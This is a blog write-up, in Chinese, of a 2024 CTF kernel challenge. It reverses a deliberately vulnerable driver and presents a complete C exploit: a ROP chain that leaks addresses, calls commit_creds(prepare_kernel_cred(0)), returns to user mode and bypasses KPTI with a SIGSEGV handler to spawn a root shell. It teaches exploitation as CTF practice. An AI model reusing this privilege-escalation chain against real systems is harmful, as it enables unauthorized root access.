2024长城杯-Kylin_Driver

2024长城杯-Kylin_Driver

1

题目一共三解,比赛6个小时。比赛时看到内核题就跳过了,赛后复现一波。

考点是内核ROP,KASLR、SMEP、SMAP、KPTI四项保护都开;内核基址和模块基址都给了,ROP链也没限制,所以绕过保护的思路应该挺多的。

信息搜集

给了bzImage、rootfs.cpio文件系统和qemu启动脚本。

启动脚本如下,开启了KASLR、SMEP、SMAP保护,KPTI默认开启。

1
2
3
4
5
6
7
8
9
10
11
12
13
#!/bin/sh

qemu-system-x86_64 \
-m 256M \
-kernel bzImage \
-initrd rootfs_new.cpio \
-monitor /dev/null \
-append "root=/dev/ram console=ttyS0 loglevel=8 ttyS0,115200 kaslr" \
-cpu kvm64,+smep,+smap \
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-nographic \
-no-reboot \
-no-shutdown \

解包文件系统,从init脚本获取内核模块路径/lib/modules/5.10.0-9-generic/kernel/test.ko,查看保护

2

test.ko拖进ida。分析init_module函数,注册了杂项设备结合注册结构体可知设备名称为test,该类设备的应用层接口位于/dev目录,并且为该设备注册了处理函数VrQsLpXwNfJrZtBpKjMvWsQpTyLnHrXs

1
2
3
4
5
6
7
8
9
10
__int64 __fastcall init_module(__int64 a1, __int64 a2, __int64 a3)
{
_fentry__(a1, a2, a3);
if ( !(unsigned int)misc_register(&ZpYxJfLqBrNsKzTpWvVcHrXtRmGnWlQk) )
{
printk(&unk_63D);
JUMPOUT(0x2C3LL);
}
return WnQkLxVpJrFtZcRmHsTpYfNcLwZpVxBr_cold();
}

分析VrQsLpXwNfJrZtBpKjMvWsQpTyLnHrXs函数

先校验用户态buffer(ioctl第三个参数)的前32位,即password。要求逐位与0xF9异或之后等于gtwYHamW4U2yQ9LQzfFJSncfHgFf5Pjc,然后根据操作码(ioctl第二个参数)执行不同功能。

0xDEADBEEF操作码:将驱动模块基址放进内核buffer,再将整个内核buffer与0xF9异或后拼接到用户态buffer的password后面。内核buffer没初始化,残留了内核函数地址,因此这里同时泄露了内核基址和驱动模块基址。

0xFEEDFACE操作码:将32位password后的512字节取到kernel_buffer并逐字节异或0x9F,然后将rsp指向kernel_buffer首地址进行ROP。

tips:伪c是return (ssize_t)kernel_buffer;,但事实上是ret到kernel_buffer中的地址。

1
2
3
.text.unlikely:000000000000027B 48 8D 85 E8 FD FF FF          lea     rax, [rbp-218h]
.text.unlikely:0000000000000282 48 89 C4 mov rsp, rax
.text.unlikely:0000000000000285 C3 retn

调试技巧

  • init初始化脚本中在降权命令前插入以下语句,方便查看真实符号地址和模块地址
1
2
cat /proc/modules >modules.txt
cat /proc/kallsyms >kallsyms.txt
  • qemu启动脚本中加入-gdb tcp::1234,使gdb能够附加调试。

  • gdb调试内核时不会输出任何调试信息,使用disp指令实现每次运行后停止都输出指令、寄存器和栈信息。

    编写脚本一键附加调试、下断点和输出调试信息,防止每次都要重新输一遍,用法gdb -x debug_script

    脚本中的0xffffffffc0034000是模块基址,每次重启都不同,需要查看modules.txt后更新为当前模块基址。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
target remote 127.0.0.1:1234
b *(0xffffffffc0034000 + 0x83)
b *(0xffffffffc0034000 + 0x1c4)
b *(0xffffffffc0034000 + 0x27B)
disp/10i $rip
disp/x $rax
disp/x $rbx
disp/x $rcx
disp/x $rdx
disp/x $rbp
disp/x $rsp
disp/x $rsi
disp/x $rdi
disp/x $r8
disp/x $r9
disp/x $r12
disp/x $r13
disp/x $r14
disp/x $r15
disp/x $rip
disp/x $gs
disp/x $fs
disp/x $cr4
disp/20gx $rsp-0x10
  • exp需要编译好后打包进文件系统才能在仿真机中运行。一键编译exp并打包文件系统的脚本:
1
2
3
4
5
6
7
8
9
10
11
12
13
#!/bin/sh

gcc \
./exp.c \
-o exp \
-masm=intel \
--static \
-g

chmod 777 ./exp

find . | cpio -o --format=newc > ./rootfs_new.cpio
chmod 777 ./rootfs_new.cpio

漏洞利用

思路:

  • 通过0xDEADBEEF操作码泄露内核基址和模块基址
  • 将CR4寄存器修改为0x6f0绕过SMEP和SMAP(后来发现不需要这步)
  • commit_cred(prepare_kernel_cred(0))提权至root
  • 布置要恢复的用户态寄存器值,swapgs + iretq回到用户态执行。但是由于开启KPTI,回到用户态执行时页表还是内核态,无法寻址用户态代码,触发异常导致segment fault。
  • signal(SIGSEGV, getshell)注册异常处理函数绕过KPTI执行用户态函数。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
#include<stdio.h>
#include<fcntl.h>
#include<unistd.h>
#include<string.h>
#include<stdlib.h>
#include<signal.h>
#include<sys/types.h>
#include<sys/ioctl.h>


void getshell()
{
printf("****getshell****");
system("id");
system("/bin/sh");
}

u_int64_t user_cs, user_gs, user_ds, user_es, user_ss, user_rflags, user_rsp;
void save_status()
{
__asm__ (".intel_syntax noprefix\n");
__asm__ volatile (
"mov user_cs, cs;\
mov user_ss, ss;\
mov user_gs, gs;\
mov user_ds, ds;\
mov user_es, es;\
mov user_rsp, rsp;\
pushf;\
pop user_rflags"
);
printf("[+] got user stat\n");
}

int main(){
int fd = open("/dev/test",O_RDWR);
unsigned char key[546] = "\x9e\x8d\x8e\xa0\xb1\x98\x94\xae\xcd\xac\xcb\x80\xa8\xc0\xb5\xa8\x83\x9f\xbf\xb3\xaa\x97\x9a\x9f\xb1\x9e\xbf\x9f\xcc\xa9\x93\x9a";
ioctl(fd,0xDEADBEEF,key);
int i,j;
size_t kernel_buffer[30] = {0};
for(j=0;j<30;j++){
for(i=0;i<8;i++){
key[32+j*8+i] ^= 0xf9;
}
kernel_buffer[j] = *(long long*)(key+32+j*8);
printf("kernel_buffer[%d] = 0x%llx\n",j,kernel_buffer[j]);
}
size_t kernel_leak = kernel_buffer[21];
size_t raw_vmlinux_base = 0xffffffff81000000;
size_t offset = kernel_leak - 0x32A555 - raw_vmlinux_base;
printf("kernel_offset = 0x%llx\n",offset);
size_t prepare_kernel_cred = raw_vmlinux_base + offset + 0xCFBE0;
printf("prepare_kernel_cred = 0x%llx\n",prepare_kernel_cred);
size_t commit_cred = raw_vmlinux_base + offset + 0xCF720;
printf("commit_cred = 0x%llx\n",commit_cred);
size_t run_cmd = raw_vmlinux_base + offset + 0xd02d0;


size_t leak = *(long long*)(key+32);
printf("module_base = 0x%llx\n",leak);
size_t rdi_from_rax = leak + 0x9;
size_t mov_cr4_rdi = leak + 0xd;
size_t swapgs = leak + 0x11;
size_t iretq = leak + 0x15;
size_t retn = leak + 0x17;
size_t eax_r12_rbp = leak + 0x2c3;
size_t printk_rbp = leak + 0x7C;
size_t rsp_from_rax = leak + 0x282;

unsigned char payload[] = "\x9e\x8d\x8e\xa0\xb1\x98\x94\xae\xcd\xac\xcb\x80\xa8\xc0\xb5\xa8\x83\x9f\xbf\xb3\xaa\x97\x9a\x9f\xb1\x9e\xbf\x9f\xcc\xa9\x93\x9a";
size_t ROP[0x40] = {0};
save_status();
signal(SIGSEGV, getshell);
i=0;
/*
ROP[i++] = eax_r12_rbp;
ROP[i++] = (size_t)0x6f0;
ROP[i++] = (size_t)0;
ROP[i++] = eax_r12_rbp;
ROP[i++] = (size_t)0x6f0;
ROP[i++] = (size_t)0;
ROP[i++] = rdi_from_rax;
ROP[i++] = mov_cr4_rdi;
*/
ROP[i++] = eax_r12_rbp;
ROP[i++] = (size_t)0x0;
ROP[i++] = (size_t)0;
ROP[i++] = eax_r12_rbp;
ROP[i++] = (size_t)0x0;
ROP[i++] = (size_t)0;
ROP[i++] = rdi_from_rax;
ROP[i++] = prepare_kernel_cred;

ROP[i++] = rdi_from_rax;
ROP[i++] = commit_cred;
ROP[i++] = swapgs;
ROP[i++] = iretq;
ROP[i++] = getshell;
ROP[i++] = user_cs;
ROP[i++] = user_rflags;
ROP[i++] = user_rsp;
ROP[i++] = user_ss;

int ROP_len = i*8;
for(i=0;i<ROP_len;i++){
*((char*)ROP+i) ^= 0xf9;
}
strcat(payload,(char*)ROP);
ioctl(fd,0xFEEDFACE,payload);
close(fd);

return 0;
}

2024长城杯-Kylin_Driver
https://lkliki.github.io/2024/09/11/2024长城杯-Kylin-Driver/
作者
0P1N
发布于
2024年9月11日
许可协议